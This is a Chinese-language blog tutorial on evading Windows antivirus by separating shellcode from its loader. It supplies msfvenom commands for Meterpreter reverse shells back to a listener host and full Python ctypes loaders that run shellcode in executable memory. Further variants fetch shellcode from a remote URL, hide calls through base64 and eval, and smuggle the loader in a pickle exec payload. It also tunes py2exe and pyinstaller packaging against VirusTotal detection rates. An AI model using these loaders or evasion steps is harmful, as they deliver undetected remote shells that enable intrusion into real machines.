windows免杀工具-加载shellcode

前言

HW在即,免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。

shellcode

维基百科上解释:shellcode 是一段用于利用软件漏洞而执行的代码,一般为16进制的机器码,让攻击者获取shell而得名。

将程序进行分离或者混淆是规避杀软的两种有效方式。
这里参考tide团队的远控免杀系列 https://github.com/TideSec/BypassAntiVirus 整理了将shellcode分离的三种方式。所谓的分离就是将shellcode和加载程序分离开来。
以实战方便、操作简单汇总了分别由go、python、c++语言加载shellcode,当然这也会容易被查杀,但十分有效。

go加载shellcode

github 下载加载器。下载后切换到go-shellcode\cmd\sc目录,执行go build命令。(需要配置go环境)

go加载器

该加载器加载hex编码格式的shellcode
所以由msfvenom生成hex格式的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=10.37.129.7 LPORT=4444 -f hex -o shell.hex 

目标机器上sc.exe运行shellcode即可。

sc.exe shellcode
image.png

c++加载shellcode

借助shellcode_launcher 执行shellcode加载到内存。
该加载器执行raw格式的shellcode。

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.37.129.7 lport=4444  -f raw -o shellcode.raw
image.png

将shellcdoe_launcher.exe、raw文件上传到目标机器,执行以下命令即可。

shellcode_launcher.exe -i shellcode.raw
image.png
image.png

python加载shellcode

借用k8师傅的python加载器。同样可以从 github 上下载。
同样选用msfvenom来生成shellcode

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.37.129.7 lport=4444  -f c -o shell.c
image.png

生成的shell.c文件还需要hex编码

image.png

这里使用scrun.exe 来运行hex编码的shellcode。(也可以使用加载器运行base64编码后的shellcode)

image.png

运行后即可上线。

image.png

拓展

python加载shellcode

那么加载shellcode在代码上需要几步呢?
首先需要申请一块可读可写可执行的内存,再把shellcode放进去,然后从首地址开始执行。
以python为例,使用ctypes模块调用动态链接库函数的功能加载shellcode。
代码如下

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为cctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode首地址开始执行
ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待创建的线程运行完毕
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

shellcode 可以是msfvenom 生成的

msfvenom -p windows/x64/meterpreter/reverse_tcp   LHOST=10.211.55.20  LPORT=4444  -f  c

注:实验环境是win7 x64位,python 2.7 64位,所以这里payload也选择x64

将shellcode源码替换shellcode处,直接运行shellcode_python.py即可上线。

image.png

也可以是cobalt strike 生成的。

image.png

注:勾选x64

将shellcode源码替换shellcode处,直接运行shellcode_python.py即可上线。

image.png

免杀处理

shellcode 分离就是在上面代码的基础上将加载程序和shellcode进行分开。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad

import ctypes
import sys


def python_loader(shellcode):
    shellcode = bytearray(shellcode.decode("hex"))
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    ht = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        code = sys.argv[1]
        shellcode = bytearray(code)
        python_loader(shellcode)
    else:
        print('Usage:python_loader.py shellcode_hex')

这里参考k8师傅的思路。对shellcode进行hex编码后运行即可上线。

image.png

笔者测试发现单纯的python脚本在VT上查杀率是比较低的,而使用pyinstaller进行打包后的exe在VT上查杀率是非常高的。
而在实际windows免杀时,必须要打包成exe程序。借助python函数对脚本进行简单处理。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys


def python_loader(code):
    shellcode = bytearray(code.decode("hex"))
    # 设置VirtualAlloc返回类型为cctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    bufes = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        bufes,
        ctypes.c_int(len(shellcode))
    )
    # 创建一个线程从shellcode首地址开始执行
    htes = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待创建的线程运行完毕
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(htes),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        code = sys.argv[1]
        python_loader(code)
    else:
        print('Usage:python_loader.py shellcode_hex')

该python脚本VT查杀结果4/58,pyinstaller打包exe查杀为10/69。
还可以做点改动,通过远程访问url地址加载shellcode,代码如下

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys
import urllib2


def python_loader(url):
    f = urllib2.urlopen(url)
    data = f.read()
    shellcode = bytearray(data.decode("hex"))
    # 设置VirtualAlloc返回类型为cctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    pt1qr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    bufes = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(pt1qr),
        bufes,
        ctypes.c_int(len(shellcode))
    )
    # 创建一个线程从shellcode首地址开始执行
    htes = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(pt1qr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待创建的线程运行完毕
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(htes),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        url = sys.argv[1]
        python_loader(url)
    else:
        print('Usage:python_loader.py url')

运行即可上线

image.png

python脚本VT查杀率为3/58,pyinstaller打包后的VT查杀率为9/70。

image.png

刚刚学习到python也有eval函数。可以通过base64解码某个字符串,再通过eval执行
脚本如下

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad

import ctypes
import sys
import base64

def python_loader(shellcode):
    shellcode = bytearray(shellcode.decode("hex"))
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
    ht = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

if __name__=="__main__":
    if(len(sys.argv) == 2):
        code = sys.argv[1]
        shellcode = bytearray(code)
        python_loader(shellcode)
    else:
        print('Usage:python_loader.py shellcode_hex')

执行

python_loader.exe shellcode_hex

python脚本VT查杀率为4/60,pyinstaller打包后的VT查杀率为7/68。

image.png

python3反序列化加载shellcode

把变量从内存中变成可存储或传输的过程称之为序列化。
反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化。
python提供了pickle模块来实现序列化。
通过pickle.dump() 把对象序列化。
比如打印a的值。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle

class A(object):
    a = 1
    def __reduce__(self):
        return (print, (self.a,))

ret = pickle.dumps(A())
print(ret)
image.png

通过pickle.loads()方法反序列化。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle

class A(object):
    a = 1
    def __reduce__(self):
        return (print, (self.a,))

ret = pickle.dumps(A())
b = pickle.loads(ret)
print(b)

也可以通过序列化,反序列化执行系统命令。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
import base64
import os

class A(object):
    def __reduce__(self):
        return(eval,("os.system('calc.exe')",))


ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
b = pickle.loads(ret_decode)
print(b)
image.png

加载shellcode
a.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
import base64

shellcode = """
import ctypes,base64,sys

code =  sys.argv[1]
a_bytes = bytes.fromhex(code)
shellcode = bytearray(a_bytes)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""

class A(object):
    def __reduce__(self):
        return(exec,(shellcode,))

ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
#print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
b = pickle.loads(ret_decode)
print(b)

运行该脚本,传入hex编码后的shellcode。

image.png

cobaltstrike 即可上线。
考虑到pyinstaller的免杀性不强,这次在python3环境上使用py2exe。
pip直接安装即可 pip install py2exe
创建setup.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['a.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)

打包生成exe

python setup.py py2exe
image.png

运行a.exe,加载hex的shellcode即可上线。

image.png

打包后查杀率8/70

image.png

总结

经过pyinstaller打包后exe查杀率还是比较高,可拓展性不大。希望哪天可以写出另外两种语言的shellcode加载器。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,258评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,335评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,225评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,126评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,140评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,098评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,018评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,857评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,298评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,518评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,678评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,400评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,993评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,638评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,801评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,661评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,558评论 2 352